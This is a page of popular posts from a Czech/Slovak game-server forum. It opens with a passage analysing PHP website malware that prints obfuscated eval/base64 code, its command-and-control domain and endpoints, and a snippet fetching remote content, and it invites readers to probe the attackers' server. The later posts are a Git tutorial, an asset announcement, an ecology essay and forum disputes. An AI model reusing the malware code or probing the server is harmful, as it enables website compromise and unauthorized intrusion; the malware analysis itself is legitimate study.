$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; //64_decode eval($O00O0O.. tedy ve skutečnosti znamená eval(base64_decode... Je nutno podotknout, že eval neselže, protože stupidní PHP opravdu, když potká $O00O0O, ho převede na base64_decode, protože to je přece hodnota této proměnné a PHPčku nevadí pokud typ proměnné je string a je využita jako volací funkce. Náš druhý base64 enkrypt se tedy přeloží ještě před spuštěním jeho evalu a poté je opravdu spuštěn evalem. Zde začíná payload fáze viru, ve které si jednak připraví půdičku pro práci a také vykoná veškeré nekalosti, kterými byl obdařen. Nestudoval jsem vir dopodrobna, spíš jsem ho obecně prohlédl abych zhruba zjistil co je jeho záměrem. Dle mého názoru má vir z webovky udělat zombie a přesměrovat její traffic na spoustu crapwebů + vytvořit nový sitemap, nasměrovat na něj roboty a zkurvit tím i SEO - protože roboti začnou lozit na crapweby a spojovat je s naším webem. Zahlédl jsem i nějaké pingy na google a random webovku v Indii, nejspíš kontrolní před kontaktem s domácím serverem, který odpovídá nesmysluplně na dotazy jen pokud dostane v $_GET požadavku zz=true (debilita). Vir je psaný v takové té indické angličtině (chybějící písmenka, zvláštní gramatika, však to znáte), pinguje a dotazuje indické weby - něco mi říká, že to bude práce Indie. Všiml jsem si i náznaku jakéhosi ovládání přes GET parametry + nějaké návratové hodnoty v response domácího serveru.. Hlavní mamina tohoto skriptu je adresa: $goweb = 'dthirty-eight2.sigfoxfoundationg.shop'; dále pinguje na: $data_new = 'https://www.google.com/ping?sitemap='.'https://'.$host.'/'.$add_content; a hned u toho v komentáři lze najít "http://www.gudangsehat.com/mapindex.xml" Mamina funguje na několika PHP souborech: 'dthirty-eight2.sigfoxfoundationg.shop/a.php' 'dthirty-eight2.sigfoxfoundationg.shop/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew 'dthirty-eight2.sigfoxfoundationg.shop/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock 'dthirty-eight2.sigfoxfoundationg.shop/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http A podle jednoho testu s random hodnotami, mamina nemá žádné extra kontroly vstupu. a.php mi vrací jen nějakou blbost - nejspíš nějakým způsobem využitá pro kontrolu čehosi. Zdá se to jako md5 nějakého nesmyslu - možná zasaltěná IP adresa. sitemapdtn.php vrátila obsah do sitemap xml - seznam crapwebů, které má zombie dotovat. index.php vrací jen super promyšlené hlášky jako "nobotuseragent", "okhtmlgetcontent", "getcontent500page", "getcontent404page" (vycucáno ze skriptu) if(stristr($smuri_tmp,'.css')){ $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ @header("Content-type: text/css; charset=utf-8"); $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } } S posledním sitemap.php už jsem se ani neobtěžoval srát. Pokud chcete, feel free a pohrajte si s čmoudama jak chcete. Pochybuji, že napácháte nějaké bolestivé škody - tihle blbci se možná vysrali na ochranu jejich díla, ale vůbec je nebude bolet, když se jim do toho někdo proláme. Prostě ráno přijdou do roboty, kopnou do mašiny, crawler začne prolízávat webovky a když se podaří nějakou prolomit, tak je to pro ně stejně jak prd do větru. Těch webovek jsou tisícovky, virus tam běží max. pár dní (pro mrtvoly - neobsluhované mrtvé weby - indefinitely) naprdí nějakej traffic do poolu a vyhasne, jede se dál.
    5 points
  32. Vypada to hezky, jen abych rekl pravdu cekal jsem ze ten kun bude behat od zacatku ke konci a uvidime i ty soupere. Ale jinak pekny
    5 points
  33. Nahlásil jsem první video na YouTube. Od srdce nesnáším, když si někdo vytvoří nějaké video a dá do jeho názvu jednu z nejočekávanějších her. Pak jsou na tom jen bití uživatelé, který zadají do vyhledávání GTA VI a výsledky na něj vyblejou tyhle sračky, které vůbec hledat nechtěli. Samozřejmě chápu, že pokud by se z názvu vynechalo to "GTA VI", tak by to byl stejný odpad, ale s rozdílem, že by na to kliklo o dost méně lidí.
    4 points
  34. Podle posledních informací od niCe spolupracujícího s Open.MP týmem bude SA-MP pokračovat jako Open.MP. Nový dočasný "oficiální" web SA-MP je https://www.sa-mp.mp/ , kde je nejen veškerý obsah z původního oficiálního webu, ale i aktualizovaný klient SA-MP s funkčním tabem "Internet". Stránka je prolinkovaná s odkazy na oficiální Open.MP. Navíc je stránka lokalizovaná - zobrazí se vám v jazyce, ve kterém máte internetový prohlížeč (resp. první preferovaný jazyk prohlížeče). Co se týče kompatibility, tak Open.MP je plně zpětně kompatibilní se SA-MP + při postupném vývoji vlastního klienta pro Open.MP přibudou i nové věci. Pojďme SA-MP zachránit :D
    4 points
  35. Update textur. Momentálně to vypadá mnohem zajímavěji, i když textury ještě nenavazují
    4 points
  36. Dobry den, su to uz roky, odkedy som tu ukazal nieco zo svojej tvorby (predchadzajuci nick [AW]Tom). Medzi casom som sa venoval 3D modelovaniu a "mapovaniu" v Unity a dnes Vam chcem s radostou ukazat svoju prvu kompletnu kolekciu modelov. Tento balik bude dostupny na Unity Asset Store, po tom, co prejde kontrolou a schvalenim od Unity Teamu. O jeho spristupneni Vas budem informovat. Balik nesie nazov "Tiny Homes" a je inspirovany projektom Tiny Homes Detroit. Ide o 50 malych domov, s otvaratelnymi dverami a oknami. Tieto domceky su navrhnute tak, aby zaberali minimalny vonkajsi priestor a zaroven poskytovali dostatok priestoru pre par hracov, aby sa vo vnutri mohli pohybovat. Interiery maju priemernu velkost 8x5 metrov a umoznuju skakanie vdaka 3,3 metrov vysokym stropom. Dvere ss vyssie a sirsie, co zaistuje lahky pristup Dvere a okna su samostatne modely, co vam umoznuje naprogramovat ich na otvaranie a zatvaranie. Okna su nepriestrelne, aby poskytovali bezpecnost, pri pouziti v prostredi pre viacerych hracov. Vonkajsie a vačšina vnútorných stien maju hrúbku najmenej 0,25 metra. Domy maju v priemere 10 slotov pre materialy, čo umožňuje jednoduché prispôsobenie vzhľadu. Balik obsahuje: 25 modelov (+col), 67 prefabov, 135 materialov a 91 textur 3 LOD urovne pre kazdy model zjednodusene kolizne modely (1 na prefab) sprchovy kut Viac technickych detailov bude k dispozicii na oficialnej stranke balika. Obrazky v spoileri: Budem rad ked v komentaroch zanechate svoje dojmy a postrehy.
    4 points
  37. Cena za tohle bude začínat tak na cca desetinásobku toho co uvádíš. a to ještě u nějakého zoufale chudého studenta
    4 points
  38. Verzovací nástroj GIT Ahoj, jak jsem dlouhou dobu sliboval, tak přináším návod na verzovací nástroj GIT. Ve zkratce o co se vůbec jedná. Jedná se o software, který umožňuje verzovat kód, který programujete. TJ. uděláte si 10 řádkovej soubor, uložíte pomocí gitu a máte jednu verzi. Pak přijdete druhý den, připíšete dalších 10 řádků a máte druhou verzi. 3. den ovšem něco upravíte a máte třetí verzi. Bez gitu byste museli mít 3 složky se třeba totožnejma souborama, kde jsou právě uvedené změny. GIT umožňuje toto právě vynechat a vy celou dobu pracujete pouze s jednou složkou, která nese všechny informace o všech verzích. Další velké plus, proč verzovat kód je to, že na jednom souboru může pracovat více lidí na různých počítačích a GIT umí následně soubory sjednotit v jeden a vystavit ho jako novou verzi. V tomto návodu se dozvíte nejzákladnější práce s gitem tj: clone (stáhne existující kód z gitu) status (zobrazí aktuální změny vůči poslední verzi) add (přidá vaše aktuální změny k plánované další verzi) commit (potvrdí lokální změny jako novou verzi) push (odešle změny na remote server, kde si je budete moct prohlížet) Spousta lidí používá pro verzování nějaké gui jako třeba sourcetree nebo rovnou ide, ovšem já nejsem zastánce gui u gitu, protože: U gui nevíte nikdy co to přesně dělá a nevidíte jaký je output gitu a za 2. u gui musíte hledat kde se to ovládá a je to zbytečně složité... Příprava 1. Budeme potřebovat nainstalovat git: LINUX: Stáhněte si balíček git: Debian: apt-get install git RedHat/RHEL: yum install git, dnf install git MAC: Stáhněte si balíček git: brew install git WINDOWS: Tady to je složitý... Stáhněte si https://gitforwindows.org/ Nainstalujte dle instrukcí, všechny nastavovátka nechte tak jak jsou. Linux/Mac uživatelé budou používat terminál, Windows uživatelé Git Bash (nový nainstalovaný program). Po celou dobu se budeme pohybovat ve složce /Projects a podsložkách. Všude budu psát preffix kde se aktuálně pohybujeme. 2. Budeme potřebovat git repositář. Pro demonstraci budu používat a odkazovat se na github.com. Toto je návod na práci s gitem, nikoli práci s githubem, proto napíšu body co je třeba splnit a přidám případně ostatní návody. Zaregistrujte si účet na githubu Vytvořte nový public repositář (https://docs.github.com/en/get-started/quickstart/create-a-repo) Zjistěte si URL vašeho repositáře. (Chceme url která začíná https nikoli ssh) Bod č. 3 tohoto návodu: https://docs.github.com/en/repositories/creating-and-managing-repositories/cloning-a-repository Stažení repositáře V předchozí části jsme vytvořily remote repositář, ve kterém máme README.md případně nic. Záleží zda jste nechali vygenerovat readme soubor při zakládání repositáře. Otevřeme si terminal/gitbash a budeme pracovat jen v něm. pomocí cd přejdeme do složky /Projects např. cd /home/hip/Projects Nyní si stáhneme vytvořený repositář do pc pomocí clone: git clone [url] parametr url je url repositáře Nyní vejdeme do stažené složky cd [název složky = název projektu] název složky je název projektu zadávaný při vytvoření repositáře. Pro demonstrativní účely budu používat "mujProjekt" Nyní máme stažený repositář, což je vlastně první verze našeho kódu a jsme ve složce, která je pod kontrolou gitu. Když se podíváte do složky, ukrývá se tam skrytá složka .git, která obsahuje informace o jednotlivých verzích, remote repo (což je u nás github) a hromadu dalších informací, aktuálně nepodstatných. Práce se složkou/projektem Ať je to k nevíře, se složkou mujProjekt se pracuje uplně normálně jako s každou jinou. Můžete ji celou kamkoliv přesunout, můžete v ní upravovat kód. Má to jeden jediný rozdíl, všechno co se upravuje ve složce může být součástí další verze kódu (ale nemusí). Řekněme, že jsme pracovali, udělali nějaký kód a máme hotovo. Vyvtoříme si soubor helloworld.txt uvnitř složky /Projects/mujProjekt a obsah bude třeba Hello world! Máme práci hotovou a chceme potvrdit změny a odeslat na remote repo. Půjdeme zpět do terminálu Zjistíme jak jsme na tom přes status: git status Terminál nám vyhodí output, kde bude červený řádek podobný tomuto: N helloworld.txt Tím vidíme, že git ví o našich změnách. Nyní vytoříme novou verzi. Ovšem než to uděláme, musíme gitu říct, jaké soubory chceme do nové verze dát. To je náš helloworld.txt soubor: git add helloworld.txt Zkusíme si dát opět status a uvidíme, že soubor není červený, ale zelený. To znamená, že vyvtoření následující verze bude s tímto souborem. Vytvoříme verzi: git commit -m "Muj prvni commit" commit vytvoří verzie, parametr -m udává commit zprávu a zpráva je info ke commitu. Jak můžete vidět, není to version, ale commit. V gitu se označuje verze jako commit, takže od teď budu používat slovo commit. Nyní máme commitnuto a změny jsou lokálně u nás. Abychom změny dostali do remote repo, postačí nám k tomu push: git push Toto odešle změny na github, naše remote repo. Ikdyž se jedná o public repository, tak pushovat změny může jen oprávněný uživatel. V tuto chvíli vám vyskočí prohlížeč a požádá vás o přihlášení. Přihlásíte se a proces se automaticky dokončí. Nyní když se podíváme, tak změny jsou na githubu. Závěr Toto je nejzákladnější práce s gitem. Zkuste si takhle udělat pár dalších commitů a poslat si je tam. Udělejte si tam třeba další složky. Když používáte add tak nemusíte specifikovat každý soubor extra, ale stačí napsat název složky a automaticky to přidá všechny změněné soubory ve složce. Dejte sem nějaký ohlas a já udělám další část, o něco složitější. PS: Dnes to po sobě nečtu, nemám čas.
    4 points
  39. Trošku offtopic jo.. Hromada lidí se ohání tím ,že učit se pawn je zbytečný protože je to mrtvý atp... Když to hodně přeženu tak díky SA-MPu a jazyku Pawn dneska vydělám měsíčně to co běžnej zaměstnanec za rok. Naučit se Pawn zbytečný rozhodně není. Naučí tě to jak fungujou "dospělý" programovací jazyky, naučí tě to že jsou tam nějaký pravidla ,že někde musí být střední někde závorky atp. Navíc syntaxe Pawn je dost podobná neli stejná jako u většiny jazyků ( PHP, C, Swift atp ) protoze z nich vychází. Takže Jakmile se naučíš jeden takový jazyk tak ti potom stačí jen se doučit další pravidla těch ostatních a rozšiřuješ svoji možnost uplatnění. Podle mě má cenu se to naučit pokud tě programování baví nebo by bavilo a tíhneš tímhle směrem. Navíc se nic nevyrovná tomu když něco dvě hodiny píšeš a pak to funguje a vypadá to hezky na serveru atp... K topicu... Pokud chceš platit programátora podle toho jestli se to bude hráčům líbit tak to se ti na to většina lidí vykašle. Na tvém místě bych vypustil finance a našel nějakého nadšence který bude sdílet tvojí vizi co chceš se serverem udělat a sednete si.
    4 points
  40. Ahoj, náhodou jsem našel na youtube docela hodně zajímavý mód, který přidává do původního San Andreas další dvě kompletní celé mapy Vice City a Liberty City. Mapy jsou propojené mostem a při přesunu mezi městy se změní všechny modely aut co ve městech jezdí, ikony zbraní, počasí apod. Je to jako hrát 3 hry najednou. Jsou zde i funkční původní interiory. Ještě jsem to nezkoušel, ale řekl bych že by se vám to mohlo líbit. Dejte vědět kdo zkusí jaký z toho máte pocity!
    4 points
  41. Ahoj, videl som tému o návrhu EU o jednotné konektory. Z príspevkov v téme som nabral dojem, že ľudia sa tu rozdelujú do dvoch skupín: Ekologický postoj --- som zodpovedný/plánujem mať deti a nechcem im zhoršovať zbytočne život/nuclear is clean Ekonomický postoj --- nekúpim si predražené bambusové čistítka uší keď plastové sú funkčne identické a lacnejšie/elektro autá sú zlé, lebo A,B,C,D,.../nuclear is danger V tomto príspevku sa pokúsim vysvetliť dôvod existencie týchto dvoch postojov. Fakty Je rozumné, aby si každý pred zapojením sa do konverzácie overil svoje fakty. Ľudia patriaci do skupiny proti ekológii majú z mojich skúseností tendenciu šíriť hoaxy, a zakladať svoje postoje na nepravdivých informáciách. Z môjho pohľadu je to pochopiteľné. Najčastejšie hoaxy, s ktorými som sa stretol: Elektromobily sú menej ekologické než benziňáky --- hoax[1] Rozvojové krajiny (Čína, ...) spôsobujú a sú zodpovedné za viac emisí než rozvinuté krajiny --- hoax. Ľudia hlásajúci tento hoax si asi neuvedomujú, že žijeme v globálnej ekonomike. Preto je nutné emisie rozdeliť na produkčné a spotrebiteľské, pretože niektoré krajiny vytvárajú viac jeden typ ako druhý. Produkčné emisie v Číne sú dané výrobou tovaru, ktorý je spotrebovávaný v EU. Tento spôsob myslenia sa nazýva aj trade-adjusted emissions accounting. Zaujímavé je, že priemerný občan Českej republiky vytvorí viac CO2 emisií než priemerný Číňan --- aj v produkčných aj spotrebných emisiách.[2] To bolo teda o spôsobovaní emisií. Ja som ale presvedčený, že EU nesie vyššiu subjektívnu zodpovednosť za emisie, keďže má schopnosti tieto emisie obmedzovať. Rozoberanie problému dezinformovanosti si nechám na iný deň... Ekologický postoj Je založený na vnímaní sveta a zdrojov ako obmedzených kapacít. Postoj sa začal šíriť hlavne s publikáciou Limits to growth.[3] Práve táto kniha spopularizovala fakt, že zdroje sú obmedzené. V našej spoločnosti sa produkty vyrábajú a spotrebovávajú, ako by ich bolo nekonečno. Zaujimavým vhľadom je, že hodnotenie úspechu krajín na základe HDP je hodnotenie na základe produkcie. Vo svete, kde sa predbieha o množstvo produkcie (=> množstvo spotrebovaných surovín) je jasný konvergentný stav kde sa spotrebujú všetky suroviny. Krátkodobo-ekonomický postoj Prakticky vždy je menej-ekologický výrobok lacnejší než viac-ekologický výrobok. To preto, že výroba ekologického produktu zahŕňa aj činnosti, ktoré nesúvisia priamo s produktom, ale aj so starostlivosťou o životné prostredie počas výroby produktu. Je ekonomicky rozumné a správne kúpiť si neekologický produkt. Toto predurčuje ekológiu iba pre krajiny s vysokou životnou úrovňou a prenáša zodpovednosť za ekologické problémy do týchto krajín. Vysvetlenie klimatickej krízy --- Prisoner's dilemma Predpokladám, že viete čo je to Väzňovo dilema. Ak nie, prosím prečítajte si Klasické prisoner dilemma na wiki.[4] Nemá zmysel aby som to prepisoval. V stručnosti, jedná sa o situáciu, v ktorej sa oplatí každému zúčastnenému uprednostniť čin vo svoj prospech. Keď však všetci jednotlivci vykonajú tento čin, všetci skončia s horším výsledkom, než keby jednotlivo nevolili vo svoj prospech. Multi-player prisoners dilemma je situácia, ktorá modeluje problém ekológie a spotreby. V takomto modeli viac hráčov vykonáva rozhodnutia, pričom dominantná stratégia každého hráča je uprednostniť svoj prospech a tým aj zhoršenie situácie všetkým vrátane jeho samotného. Tento jav sa často nazýva aj Tragedy of the commons. Wiki uvádza aj ďalšie prípady, ktoré sú prejavom tohto javu. Riešenie Je jasné, že kapitalistický systém by bez regulácie spôsobil zánik ľudského života tak, ako ho poznáme. Ako riešenie ekonómovia navrhujú štátne regulácie trhu. Jedným z návrhov je CO2 daň, ktorú by mal platiť každý producent CO2. V roku 2018 bola za toto udelená Nobelova cena z ekonómie.[5] Aj preto vnímam zmysluplné zavádzanie EU regulácií napr. o kábloch za správne. Záver Dúfam, že pochopenie situácie s ekológiou umožní každej skupine --- aj ekológom, aj ich odporcom --- porozumieť druhej skupine a pracovať na riešení v prospech všetkých ľudí. Ďakujem za pozornosť.
    4 points
  42. Vopred vravím, že sa nerozumiem sa českej politike a neviem kde je aký problém a koho máte/nemáte radi. Tak, teraz keď sme si toto ujasnili bol by som rád, ak by sa volebnej politike na fóre zdržala primárne ak sa jedná o člena moderátorského tímu. Nemám rád volebnú manipuláciu a tvrdenia kto by koho mal voliť, otvorenej diskusií však nebránim - pre budúcnosť poprosím zdržať sa u členov moderátorského tímu výrokov koho majú a nemajú voliť, rád by som ak by fórum zostalo politicky nestranné a toto tomu nepomáha. Ďakujem. Inak prajem veľa šťastia a úspechov vo voľbách, nezabudnite hlavne všetci voliť podľa SVOJHO svedomia a vedomia, po čo najviac objektívnom zhodnotení faktov a overení toho, či to čo politici rozprávajú je aj skutočne pravdou.
    4 points
  43. Zkrátka, Pawno.cz ztrácí funkci Fóra Administrátoři jsou tu běžní uživatelé, Administrátoři jsou běžní uživatelé celé vzhůru nohama. Můj Názor. Je mi jasné že favoriti mi sem nasáízení dislike a reakci " Nope " :D
    4 points
  44. Tak gratuluju, vytvořils horší Dini obohacené o sekce. Koukl jsem se do toho tvého includu a musím říct, že je to hrozné a nikomu bych to nedoporučoval použít. Reinventing wheel není vždy nejlepší volba, zvlášť u takových věcí. Už jen to tvoje API, které nabízíš je něco hodně zvláštního a chtělo by na tom zapracovat - oddělené ukládání, načítání, mazání a wrapper funkce pro různé datové typy. Kód samotný je napsaný hodně na prasáka, chtělo by to separovat na více funkcí a použít nějaké guard clauses (třeba). Pak například s tímhle by tě každý normální člověk vyfakoval if(strfind(string,secstr,true)!=-1){sectgle=1;secfnd=1;}else{sectgle=0;} Taky by bylo fajn vracet něco, co signalizuje error a ne string "not found". To je o ničem. Tahle věc je úplně zbytečná, stačí ta vnitřní podmínka (určitě je tam víc věcí, ale nedá se to číst) if(strfind(string,"[",true)!=-1) { if(strfind(string,secstr,true)!=-1){sectgle=1;secfnd=1;}else{sectgle=0;} } To nejdůležitější, což bohužel neděláš, je jak zmiňoval @Quiter optimalizování znovuotevírání souborů. Ty tam pro každý zapsaný záznam vytváříš temp file, přepíšeš originání soubor do temp filu (s novým klíčem a hodnotou) a pak temp file přepíšeš zpět do originálního souboru. To není vůbec optimální a za sekce (které v DOF můžeš simulovat prefixem klíčů) tohle nestojí. Btw, existuje y_ini a další includy podporující sekce a jsou optimalizované a s normálním API.
    4 points
  45. Super popis problému! Jak si představuješ, že ti z tohohle popisu někdo dokáže pomoct?
    4 points
  46. Hlavny problem s numere je ten, ze kvalita jeho rad, ako je vidiet je nedostatocna. Ludi taha na discord, kde im mozno poradi, ale ak im poradi spatne, tak to nema kto skontrolovat a napravit ho. A hlavne, forum sluzi na to, aby sa tu generoval obsah otazkami/odpovedami. Ak je odpoved "napis mi na discord", tak cely topic nema vyznam preto, ze bola polozena otazka, ale odpoved nikde. Si predstav, ze nieco programujes, posere sa ti to, tak googlis a jedine co najdes je 10 rovnakych otazok na stack overflow a u kazdej by bola odpoved "napis mi na discord". Co by si sa potom dozvedel? Nic.
    4 points
  47. Zdravíčko přátelé Po menších existenčních potížích jsem se nyní konečně dostal zpět na svou kolej a jdeme se společně s vámi všemi vrhnout na stavbu našeho prvního serveru - minecraft serveru! Vzhledem k tomu, že já osobně se o to starat dopodrobna nemohu, rád bych z vašich řad našel nadšené lidi aktivní v této hře, kteří by si na sebe hodili částečnou zodpovědnost za plynulý chod na serveru a jeho kvalitu obsahu. Proto hledám lidi, kteří budou dosazeni na post Moderátorů a Creatorů - tedy lidí stavějící zajímavé stavby, ve kterých mohou uspořádat soutěže. Všechno zajímavé a důležité o serveru bude v jiném vlastním topicu. Pokud máte zájem o roli Moderátora: Musíte aktivně hrát Minecraft. Musí vám být alespoň 16 let. Musíte se smířit s tím, že práce moderátora není med - má své výhody, ale také o něco více nevýhod. Nesmíte zneužít svou roli a pravomoce k obohacování ostatních hráčů, či narušování ekonomiky serveru Zdržte se vulgarismů, fungujte jako profíci, dejte pozor na gramatiku - vedoucí pozice musí jít příkladem. Pokud máte zájem o roli Creator: Dostanete speciální pravomoce k jednoduché manipulaci terénem i objekty. Označení Creator v sobě nese pojmy jako: Builder, Eventer, VIP - jste všechno toto v jednom balíčku, buďte středem komunity. Ukažte nám své stavby, čeho jste schopní, jakou fantazii máte a co všechno postavíte! Nesmíte zneužít svou roli a pravomoce k obohacování ostatních hráčů, či narušování ekonomiky serveru - nevztahuje se na výherní ceny a výherce eventů, soutěží, či dalších jednorázových akcí. (Jen ta výhra nesmí být nějaký stupidní nesmysl - jako 10 stacků diamantů apod.) Žádosti mi napište sem do topicu Pokud nemáte zájem se přidat, ale chcete protlačit někoho, kdo se přihlásil - přihoďte mu k jeho postu nějakou pozitivní reakci
    4 points
  48. Je pravda ze nyni uz musim ocenit ty "emotikony" nebo jak to nazvat. proste ty reakce na prispevky pomoci tech smajliku. Kde clovek muze vyjadrit nazor s prispevkem bez toho aby primo odepisoval. Myslim ze reakce u jednotlivych prispevku primo odrazi nazory lidi na dane prispevky Jen doufam ze po mem poukazani na toto tu nezacne "nekdo" schanet lidi aby si vylepsil skore :D A musim uznat ze i pres to ze to forum je ponekud mrtvejsi nez ho pamatuji, stale tu zustavaji inteligetni lide, kteri se nenechavaji zmanipulovat, coz je super duvod abych tu zustal i ja sam
    4 points
  49. Tak kluci, já nevím co se tu řeší? Kvůli čemu teda se hádáte? Atomaskovič udělal stejnou zmr***inu jako tady Martin, takže to je vyrovnané, ne? Nebo mi chceš říct Martine, že Majkl578 odešel z WtLS sám když jste spolu beta-testovali server před více jak 10ti lety? Je to už dávno a už se to asi pomalu zapomíná, ale myslím si, že pořád se najdou lidi (včetně mě) co ví jak WtLS vlastně vzniklo. Jak jsi Majkla vyje**l. A Valueho taky. (Ale to až později. protože narozdíl od Majkla to nebyl spolumajitel, ale jenom tester). A celý server jsi potom nechals pro sebe. A taky bych se mohl rozepsat jak posledních pár let funguje tvůj Admin Team. WtLS a Superpařba to jsou prostě kvalitní servery, oba dva. Vy dva si nemáte fakt co vyčítat.
    4 points
×
×
  • Create New...